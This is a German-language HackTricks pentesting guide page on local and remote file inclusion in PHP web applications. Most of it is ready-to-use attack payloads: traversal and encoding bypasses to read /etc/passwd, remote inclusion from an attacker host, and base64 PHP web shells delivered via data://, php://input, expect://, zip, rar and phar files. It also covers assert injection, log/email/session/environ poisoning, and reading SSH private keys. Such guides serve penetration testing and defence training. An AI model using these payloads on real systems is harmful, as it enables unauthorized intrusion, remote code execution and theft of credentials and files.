hacktricks/pentesting-web/file-inclusion
2024-06-05 13:49:22 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:18:38 +00:00
lfi2rce-via-eternal-waiting.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:18:38 +00:00
lfi2rce-via-nginx-temp-files.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:18:38 +00:00
lfi2rce-via-php-filters.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-06-05 13:49:22 +00:00
lfi2rce-via-phpinfo.md Translated to German 2024-02-10 15:36:32 +00:00
lfi2rce-via-segmentation-fault.md Translated to German 2024-02-10 15:36:32 +00:00
lfi2rce-via-temp-file-uploads.md Translated to German 2024-02-10 15:36:32 +00:00
phar-deserialization.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:46:00 +00:00
README.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-06-05 13:49:22 +00:00
via-php_session_upload_progress.md Translated to German 2024-02-10 15:36:32 +00:00

Dateiinklusion/Pfadtraversierung

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking-Einblicke
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

Treten Sie uns bei Discord und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Dateiinklusion

Remote-Dateiinklusion (RFI): Die Datei wird von einem entfernten Server geladen (Am besten: Sie können den Code schreiben und der Server wird ihn ausführen). In PHP ist dies standardmäßig deaktiviert (allow_url_include).
Lokale Dateiinklusion (LFI): Der Server lädt eine lokale Datei.

Die Verwundbarkeit tritt auf, wenn der Benutzer auf irgendeine Weise die Datei steuern kann, die vom Server geladen wird.

Verwundbare PHP-Funktionen: require, require_once, include, include_once

Ein interessantes Tool, um diese Verwundbarkeit auszunutzen: https://github.com/kurobeats/fimap

Blind - Interessante - LFI2RCE-Dateien

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Durch Mischen mehrerer *nix LFI-Listen und Hinzufügen weiterer Pfade habe ich diese erstellt:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Versuchen Sie auch, / durch \ zu ersetzen.
Versuchen Sie auch, ../../../../../ hinzuzufügen.

Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu überprüfen, ob die Schwachstelle vorhanden ist), finden Sie hier

Windows

Zusammenführung verschiedener Wortlisten:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Versuchen Sie auch, / durch \ zu ersetzen.
Versuchen Sie auch, C:/ zu entfernen und ../../../../../ hinzuzufügen.

Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu überprüfen, ob die Schwachstelle vorhanden ist), finden Sie hier

OS X

Überprüfen Sie die LFI-Liste von Linux.

Grundlegende LFI und Umgehungen

Alle Beispiele sind für Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (Seite=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

Traversalsequenzen ohne rekursive Entfernung

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null Byte (%00)

Umgehen Sie das Anhängen weiterer Zeichen am Ende des bereitgestellten Strings (Umgehung von: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Dies ist seit PHP 5.4 gelöst

Kodierung

Sie könnten nicht standardmäßige Codierungen wie doppelte URL-Codierung (und andere) verwenden:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Aus vorhandenem Ordner

Vielleicht überprüft das Backend den Ordnerpfad:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Erkunden von Dateisystemverzeichnissen auf einem Server

Das Dateisystem eines Servers kann rekursiv erkundet werden, um Verzeichnisse und nicht nur Dateien zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess beinhaltet das Bestimmen der Verzeichnistiefe und das Überprüfen der Existenz bestimmter Ordner. Im Folgenden wird eine detaillierte Methode zur Erreichung dieses Ziels beschrieben:

  1. Bestimmen der Verzeichnistiefe: Ermitteln Sie die Tiefe Ihres aktuellen Verzeichnisses, indem Sie erfolgreich die Datei /etc/passwd abrufen (falls der Server auf Linux basiert). Eine Beispiel-URL könnte wie folgt strukturiert sein und eine Tiefe von drei anzeigen:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Ordner überprüfen: Hängen Sie den Namen des vermuteten Ordners (z. B. private) an die URL an, navigieren Sie dann zurück zu /etc/passwd. Die zusätzliche Verzeichnisebene erfordert eine Erhöhung der Tiefe um eins:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretiere die Ergebnisse: Die Antwort des Servers zeigt an, ob der Ordner existiert:
    • Fehler / Keine Ausgabe: Der Ordner private existiert wahrscheinlich nicht an der angegebenen Stelle.
    • Inhalt von /etc/passwd: Die Existenz des Ordners private wird bestätigt.
  2. Rekursive Erkundung: Entdeckte Ordner können weiterhin auf Unterordner oder Dateien mit derselben Technik oder traditionellen Methoden zur lokalen Dateieinbindung (LFI) überprüft werden.

Um Verzeichnisse an verschiedenen Orten im Dateisystem zu erkunden, passe das Payload entsprechend an. Zum Beispiel, um zu überprüfen, ob /var/www/ ein Verzeichnis private enthält (unter der Annahme, dass sich der aktuelle Ordner in einer Tiefe von 3 befindet), verwende:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Pfadkürzungstechnik

Die Pfadkürzung ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Oft wird sie eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen am Ende von Dateipfaden anhängen. Das Ziel besteht darin, einen Dateipfad zu erstellen, der, einmal durch die Sicherheitsmaßnahme verändert, immer noch auf die gewünschte Datei zeigt.

In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Natur des Dateisystems als äquivalent betrachtet werden. Zum Beispiel:

  • /etc/passwd, /etc//passwd, /etc/./passwd und /etc/passwd/ werden alle als derselbe Pfad behandelt.
  • Wenn die letzten 6 Zeichen passwd sind, ändert das Anhängen eines / (was passwd/ ergibt) nicht die Zieldatei.
  • Ebenso wird, wenn .php an einen Dateipfad angehängt wird (wie shellcode.php), das Hinzufügen von /. am Ende die aufgerufene Datei nicht verändern.

Die bereitgestellten Beispiele zeigen, wie die Pfadkürzung genutzt werden kann, um auf /etc/passwd zuzugreifen, ein häufiges Ziel aufgrund seines sensiblen Inhalts (Benutzerkontoinformationen):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In diesen Szenarien könnte die Anzahl der erforderlichen Traversals etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.

  • Verwendung von Punktsegmenten und zusätzlichen Zeichen: Traversierungssequenzen (../) in Kombination mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um das Dateisystem zu navigieren und dabei angehängte Zeichenfolgen des Servers effektiv zu ignorieren.
  • Ermittlung der erforderlichen Anzahl von Traversals: Durch Ausprobieren kann man die genaue Anzahl von ../-Sequenzen finden, die benötigt werden, um zum Stammverzeichnis und dann zu /etc/passwd zu navigieren, wodurch sichergestellt wird, dass angehängte Zeichenfolgen (wie .php) neutralisiert werden, aber der gewünschte Pfad (/etc/passwd) intakt bleibt.
  • Beginn mit einem falschen Verzeichnis: Es ist eine gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis zu beginnen (wie a/). Diese Technik wird als Vorsichtsmaßnahme verwendet oder um die Anforderungen der Pfadanalyselogik des Servers zu erfüllen.

Bei der Verwendung von Pfadtrunkierungstechniken ist es entscheidend, das Pfadanalysenverhalten des Servers und die Dateisystemstruktur zu verstehen. Jedes Szenario erfordert möglicherweise einen anderen Ansatz, und Tests sind oft erforderlich, um die effektivste Methode zu finden.

Diese Schwachstelle wurde in PHP 5.3 behoben.

Filterumgehungs-Tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote-Dateieinschluss

In PHP ist dies standardmäßig deaktiviert, da allow_url_include auf Aus gesetzt ist. Es muss auf Ein gesetzt sein, damit es funktioniert, und in diesem Fall könnten Sie eine PHP-Datei von Ihrem Server einbinden und RCE erhalten:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Wenn aus irgendeinem Grund allow_url_include aktiviert ist, aber PHP den Zugriff auf externe Webseiten filtert, gemäß diesem Beitrag, könnten Sie beispielsweise das data-Protokoll mit Base64 verwenden, um einen b64 PHP-Code zu decodieren und RCE zu erhalten:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} In dem vorherigen Code wurde das abschließende +.txt hinzugefügt, weil der Angreifer einen String benötigte, der mit .txt endet. So endet der String damit und nach dem b64-Decode wird dieser Teil nur Müll zurückgeben und der echte PHP-Code wird eingeschlossen (und folglich ausgeführt). {% endhint %}

Ein weiteres Beispiel ohne Verwendung des php:// Protokolls wäre:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Python-Stammelement

In Python in einem Code wie diesem:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Wenn der Benutzer einen absoluten Pfad an file_name übergibt, wird der vorherige Pfad einfach entfernt:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Es ist das beabsichtigte Verhalten gemäß der Dokumentation:

Wenn ein Bestandteil ein absoluter Pfad ist, werden alle vorherigen Bestandteile verworfen und das Verknüpfen wird vom absoluten Pfadbestandteil fortgesetzt.

Java Verzeichnisse auflisten

Es scheint, dass bei einem Pfadtraversal in Java und wenn Sie nach einem Verzeichnis fragen anstelle einer Datei, eine Auflistung des Verzeichnisses zurückgegeben wird. Dies geschieht in anderen Sprachen nicht (soweit ich weiß).

Top 25 Parameter

Hier ist eine Liste der Top 25 Parameter, die anfällig für lokale Dateieinschließungs (LFI) Schwachstellen sein könnten (von diesem Link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI mit PHP-Wrappern & Protokollen

php://filter

PHP-Filter ermöglichen grundlegende Änderungsvorgänge an den Daten vor dem Lesen oder Schreiben. Es gibt 5 Kategorien von Filtern:

  • String-Filter:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Entfernt Tags aus den Daten (alles zwischen "<" und ">" Zeichen)
  • Beachten Sie, dass dieser Filter aus den modernen Versionen von PHP verschwunden ist
  • Konvertierungsfilter
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Wandelt in eine andere Codierung um (convert.iconv.<input_enc>.<output_enc>). Um die Liste aller unterstützten Codierungen zu erhalten, führen Sie im Terminal aus: iconv -l

{% hint style="warning" %} Durch den Missbrauch des convert.iconv.* Konvertierungsfilter können Sie beliebigen Text generieren, der nützlich sein könnte, um beliebigen Text zu schreiben oder eine Funktion wie das Einbinden von beliebigem Text zu erstellen. Weitere Informationen finden Sie unter LFI2RCE über PHP-Filter. {% endhint %}

  • Kompressionsfilter
  • zlib.deflate: Komprimiert den Inhalt (nützlich, wenn viele Informationen exfiltriert werden)
  • zlib.inflate: Dekomprimiert die Daten
  • Verschlüsselungsfilter
  • mcrypt.* : Veraltet
  • mdecrypt.* : Veraltet
  • Andere Filter
  • Wenn Sie in PHP var_dump(stream_get_filters()); ausführen, finden Sie ein paar unerwartete Filter:
  • consumed
  • dechunk: kehrt die HTTP-Chunk-Codierung um
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} Der Teil "php://filter" ist nicht case sensitive. {% endhint %}

Verwendung von PHP-Filtern als Orakel zum Lesen beliebiger Dateien

In diesem Beitrag wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne die Ausgabe vom Server zurückzuerhalten. Diese Technik basiert auf einer booleschen Exfiltration der Datei (Zeichen für Zeichen) unter Verwendung von PHP-Filtern als Orakel. Dies liegt daran, dass PHP-Filter verwendet werden können, um einen Text groß genug zu machen, um PHP eine Ausnahme auslösen zu lassen.

Im Originalbeitrag finden Sie eine ausführliche Erklärung der Technik, aber hier ist eine kurze Zusammenfassung:

  • Verwenden Sie den Codec UCS-4LE, um das führende Zeichen des Textes am Anfang zu belassen und die Größe des Strings exponentiell zu erhöhen.
  • Dies wird verwendet, um einen Text so groß zu generieren, dass PHP einen Fehler auslöst, wenn der Anfangsbuchstabe richtig geraten wird.
  • Der dechunk-Filter wird alles entfernen, wenn das erste Zeichen kein Hexadezimalwert ist, sodass wir wissen, ob das erste Zeichen hexadezimal ist.
  • Dies in Kombination mit dem vorherigen (und anderen Filtern, die je nach geratenem Buchstaben verwendet werden), ermöglicht es uns, einen Buchstaben am Anfang des Textes zu erraten, indem wir sehen, wann wir genug Transformationen durchführen, um sicherzustellen, dass es sich nicht um ein hexadezimales Zeichen handelt. Denn wenn es hexadezimal ist, wird dechunk es nicht löschen und die anfängliche Bombe wird PHP einen Fehler auslösen lassen.
  • Der Codec convert.iconv.UNICODE.CP930 wandelt jeden Buchstaben in den folgenden um (also nach diesem Codec: a -> b). Dies ermöglicht es uns herauszufinden, ob der erste Buchstabe beispielsweise ein a ist, denn wenn wir 6 Mal diesen Codec anwenden a->b->c->d->e->f->g, ist der Buchstabe nicht mehr ein hexadezimales Zeichen, daher löscht dechunk es nicht und der PHP-Fehler wird ausgelöst, weil er sich mit der anfänglichen Bombe multipliziert.
  • Durch die Verwendung anderer Transformationen wie rot13 am Anfang ist es möglich, andere Zeichen wie n, o, p, q, r zu leaken (und andere Codecs können verwendet werden, um andere Buchstaben in den Hex-Bereich zu verschieben).
  • Wenn der anfängliche Buchstabe eine Zahl ist, muss sie base64-codiert werden und die ersten 2 Buchstaben geleakt werden, um die Zahl zu leaken.
  • Das endgültige Problem besteht darin zu sehen, wie mehr als der anfängliche Buchstabe geleakt werden kann. Durch die Verwendung von Ordnungsspeicherfiltern wie convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE ist es möglich, die Reihenfolge der Zeichen zu ändern und andere Buchstaben des Textes an die erste Position zu bringen.
  • Und um weitere Daten zu erhalten, besteht die Idee darin, am Anfang 2 Bytes Junk-Daten zu generieren mit convert.iconv.UTF16.UTF16, dann UCS-4LE anzuwenden, um es mit den nächsten 2 Bytes zu pivotieren, und die Daten bis zu den Junk-Daten zu löschen (dies entfernt die ersten 2 Bytes des ursprünglichen Textes). Dies wird fortgesetzt, bis das gewünschte Bit geleakt wird.

Im Beitrag wurde auch ein Tool geleakt, um dies automatisch durchzuführen: php_filters_chain_oracle_exploit.

php://fd

Dieser Wrapper ermöglicht den Zugriff auf Dateideskriptoren, die der Prozess geöffnet hat. Möglicherweise nützlich, um den Inhalt geöffneter Dateien zu exfiltrieren:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Du kannst auch php://stdin, php://stdout und php://stderr verwenden, um auf die Dateideskriptoren 0, 1 und 2 jeweils zuzugreifen (nicht sicher, wie dies bei einem Angriff nützlich sein könnte)

zip:// und rar://

Lade eine Zip- oder Rar-Datei mit einer PHPShell hoch und greife darauf zu.
Um das rar-Protokoll missbrauchen zu können, muss es speziell aktiviert sein.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

Die data://-Methode ermöglicht es, Daten direkt in die URL einzubetten, anstatt auf eine externe Datei zu verweisen. Dies kann nützlich sein, um Daten direkt in den Code einzufügen und so den Dateizugriff zu umgehen.

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Beachten Sie, dass dieses Protokoll durch PHP-Konfigurationen allow_url_open und allow_url_include eingeschränkt ist.

expect://

Expect muss aktiviert sein. Sie können Code mit folgendem Befehl ausführen:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

Eingabe://

Geben Sie Ihr Payload in den POST-Parametern an:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Eine .phar-Datei kann genutzt werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie include zum Laden von Dateien verwendet. Der unten bereitgestellte PHP-Code-Ausschnitt zeigt die Erstellung einer .phar-Datei:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Um die Datei .phar zu kompilieren, sollte der folgende Befehl ausgeführt werden:

php --define phar.readonly=0 create_path.php

Beim Ausführen wird eine Datei mit dem Namen test.phar erstellt, die potenziell zur Ausnutzung von Local File Inclusion (LFI)-Schwachstellen verwendet werden könnte.

In Fällen, in denen das LFI nur Dateilesevorgänge ohne Ausführung des PHP-Codes darin durchführt, z. B. durch Funktionen wie file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() oder filesize(), könnte versucht werden, eine Deserialisierungsschwachstelle auszunutzen. Diese Schwachstelle ist mit dem Lesen von Dateien unter Verwendung des phar-Protokolls verbunden.

Für ein detailliertes Verständnis der Ausnutzung von Deserialisierungsschwachstellen im Zusammenhang mit .phar-Dateien siehe das unten verlinkte Dokument:

Phar Deserialization Exploitation Guide

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

CVE-2024-2961

Es war möglich, beliebige Dateien aus PHP, die php-Filter unterstützen, zu missbrauchen, um eine RCE zu erhalten. Die ausführliche Beschreibung ist in diesem Beitrag zu finden: found in this post.
Sehr kurze Zusammenfassung: Ein 3-Byte-Überlauf im PHP-Heap wurde ausgenutzt, um die Kette der freien Chunks einer bestimmten Größe zu ändern, um beliebige Inhalte an beliebiger Adresse schreiben zu können, daher wurde ein Hook hinzugefügt, um system aufzurufen.
Es war möglich, Chunks bestimmter Größen zu allozieren, indem weitere php-Filter missbraucht wurden.

Weitere Protokolle

Überprüfen Sie weitere mögliche Protokolle, die hier eingefügt werden können:

  • php://memory und php://temp — Schreiben im Speicher oder in einer temporären Datei (nicht sicher, wie dies bei einem Dateieinschlussangriff nützlich sein kann)
  • file:// — Zugriff auf das lokale Dateisystem
  • http:// — Zugriff auf HTTP(s)-URLs
  • ftp:// — Zugriff auf FTP(s)-URLs
  • zlib:// — Kompressions-Streams
  • glob:// — Suchen von Pfadnamen, die dem Muster entsprechen (gibt nichts Druckbares zurück, daher hier nicht wirklich nützlich)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio-Streams (nicht nützlich zum Lesen beliebiger Dateien)

LFI über PHP's 'assert'

LFI-Risiken in PHP sind besonders hoch, wenn es um die Funktion 'assert' geht, die Code in Zeichenfolgen ausführen kann. Dies ist besonders problematisch, wenn Eingaben mit Verzeichnistraversierungszeichen wie ".." überprüft, aber nicht ordnungsgemäß bereinigt werden.

Beispielsweise könnte PHP-Code so gestaltet sein, dass Verzeichnistraversierung verhindert wird, wie folgt:

assert("strpos('$file', '..') === false") or die("");

Während dies darauf abzielt, Traversierung zu stoppen, schafft es unbeabsichtigt einen Vektor für Code-Injektion. Um dies auszunutzen und Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:

' and die(highlight_file('/etc/passwd')) or '

Ebenso könnte man zum Ausführen beliebiger Systembefehle Folgendes verwenden:

' and die(system("id")) or '

Es ist wichtig, diese Payloads URL-codiert.

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking-Einblicke
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

Treten Sie uns bei Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

PHP Blind Path Traversal

{% hint style="warning" %} Diese Technik ist relevant in Fällen, in denen Sie den Dateipfad einer PHP-Funktion kontrollieren, die auf eine Datei zugreifen wird, deren Inhalt Sie jedoch nicht sehen werden (wie ein einfacher Aufruf von file()), aber der Inhalt nicht angezeigt wird. {% endhint %}

In diesem unglaublichen Beitrag wird erklärt, wie ein blinder Pfadtraversal über den PHP-Filter missbraucht werden kann, um den Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren.

Zusammenfassend wird die Technik verwendet, um die Datei mit der "UCS-4LE"-Codierung so groß zu machen, dass die PHP-Funktion, die die Datei öffnet, einen Fehler auslöst.

Dann wird zur Offenlegung des ersten Zeichens der Filter dechunk zusammen mit anderen wie base64 oder rot13 verwendet, und schließlich werden die Filter convert.iconv.UCS-4.UCS-4LE und convert.iconv.UTF16.UTF-16BE verwendet, um andere Zeichen am Anfang zu platzieren und sie preiszugeben.

Anfällige Funktionen könnten sein: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (nur Ziel lesen nur damit), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Für technische Details überprüfen Sie den genannten Beitrag!

LFI2RCE

Remote File Inclusion

Wie zuvor erklärt, folgen Sie diesem Link.

Über Apache/Nginx-Logdatei

Wenn der Apache- oder Nginx-Server anfällig für LFI innerhalb der Include-Funktion ist, könnten Sie versuchen, auf /var/log/apache2/access.log oder /var/log/nginx/access.log zuzugreifen, setzen Sie innerhalb des User-Agent oder innerhalb eines GET-Parameters eine PHP-Shell wie <?php system($_GET['c']); ?> und inkludieren Sie diese Datei

{% hint style="warning" %} Beachten Sie, dass wenn Sie doppelte Anführungszeichen für die Shell anstelle von einfachen Anführungszeichen verwenden, die doppelten Anführungszeichen für den String "quote;" geändert werden, PHP wird dort einen Fehler werfen und nichts anderes wird ausgeführt.

Stellen Sie außerdem sicher, dass Sie die Payload korrekt schreiben, oder PHP wird jedes Mal einen Fehler melden, wenn versucht wird, die Logdatei zu laden, und Sie haben keine zweite Gelegenheit. {% endhint %}

Dies könnte auch in anderen Logs durchgeführt werden, aber seien Sie vorsichtig, der Code in den Logs könnte URL-codiert sein und dies könnte die Shell zerstören. Der Header authorisation "basic" enthält "Benutzer:Passwort" in Base64 und wird in den Logs decodiert. Die PHPShell könnte in diesen Header eingefügt werden.
Andere mögliche Log-Pfade:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing-Wortliste: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Über E-Mail

Senden Sie eine E-Mail an ein internes Konto (user@localhost) mit Ihrem PHP-Payload wie <?php echo system($_REQUEST["cmd"]); ?> und versuchen Sie, die E-Mail des Benutzers mit einem Pfad wie /var/mail/<BENUTZERNAME> oder /var/spool/mail/<BENUTZERNAME> einzuschließen.

Über /proc/*/fd/*

  1. Laden Sie viele Shells hoch (zum Beispiel: 100).
  2. Schließen Sie http://example.com/index.php?page=/proc/$PID/fd/$FD ein, wobei $PID = PID des Prozesses (kann erzwungen werden) und $FD der Dateideskriptor (kann ebenfalls erzwungen werden).

Über /proc/self/environ

Wie eine Protokolldatei, senden Sie das Payload im User-Agent, es wird innerhalb der Datei /proc/self/environ reflektiert.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Über Upload

Wenn Sie eine Datei hochladen können, fügen Sie einfach das Shell-Payload ein (z. B.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Über Zip-Datei-Upload

Laden Sie eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und greifen Sie darauf zu:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Über PHP-Sitzungen

Überprüfen Sie, ob die Website PHP-Sitzungen (PHPSESSID) verwendet.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP werden diese Sitzungen in Dateien unter /var/lib/php5/sess\[PHPSESSID]_ gespeichert.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Setze das Cookie auf <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Verwenden Sie die LFI, um die PHP-Sitzungsdatei einzuschließen.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Über ssh

Wenn ssh aktiv ist, überprüfen Sie, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuchen Sie auf <HOME>/.ssh/id_rsa zuzugreifen.

Über vsftpd Protokolle

Die Protokolle für den FTP-Server vsftpd befinden sich unter /var/log/vsftpd.log. Im Szenario, in dem eine lokale Dateieinschließungs (LFI) Schwachstelle besteht und der Zugriff auf einen freigelegten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:

  1. Fügen Sie ein PHP-Payload in das Benutzernamenfeld während des Anmeldevorgangs ein.
